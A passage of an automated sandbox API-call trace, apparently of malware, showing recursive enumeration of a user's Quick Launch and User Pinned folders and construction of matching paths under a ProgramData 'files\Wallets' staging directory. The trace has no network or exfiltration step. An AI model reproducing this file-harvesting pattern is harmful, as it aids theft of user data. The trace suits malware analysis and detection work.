lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" [0052.190] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Google Chrome.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk" [0052.190] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch" [0052.190] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\" [0052.190] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Google Chrome.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk" [0052.191] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.191] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" [0052.191] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" [0052.191] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Microsoft Outlook.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk" [0052.191] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch" [0052.191] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\" [0052.191] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Microsoft Outlook.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk" [0052.191] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.191] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" [0052.191] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" [0052.191] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Shows Desktop.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" [0052.191] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch" [0052.191] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\" [0052.191] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Shows Desktop.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" [0052.191] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.191] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" [0052.191] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" [0052.191] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="User Pinned" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" [0052.191] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch" [0052.191] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\" [0052.191] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="User Pinned" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" [0052.191] lstrcmpW (lpString1="User Pinned", lpString2=".") returned 1 [0052.191] lstrcmpW (lpString1="User Pinned", lpString2="..") returned 1 [0052.191] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" [0052.191] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*.*" [0052.191] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x58a3c0 [0052.192] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" [0052.192] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\" [0052.192] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\." [0052.192] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" [0052.192] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\" [0052.192] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\." [0052.192] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.192] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.192] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" [0052.192] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\" [0052.192] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\.." [0052.192] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" [0052.192] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\" [0052.192] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\.." [0052.192] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.192] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.192] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.192] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" [0052.192] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\" [0052.192] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="ImplicitAppShortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" [0052.192] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" [0052.192] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\" [0052.192] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="ImplicitAppShortcuts" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" [0052.192] lstrcmpW (lpString1="ImplicitAppShortcuts", lpString2=".") returned 1 [0052.192] lstrcmpW (lpString1="ImplicitAppShortcuts", lpString2="..") returned 1 [0052.192] lstrcpyW (in: lpString1=0x19c524, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" [0052.192] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*.*" [0052.193] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*.*", lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 0x58a4c0 [0052.193] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" [0052.193] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\" [0052.193] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\." [0052.193] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" [0052.193] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\" [0052.193] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\." [0052.193] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.193] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.193] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" [0052.193] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\" [0052.193] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\.." [0052.193] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" [0052.193] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User 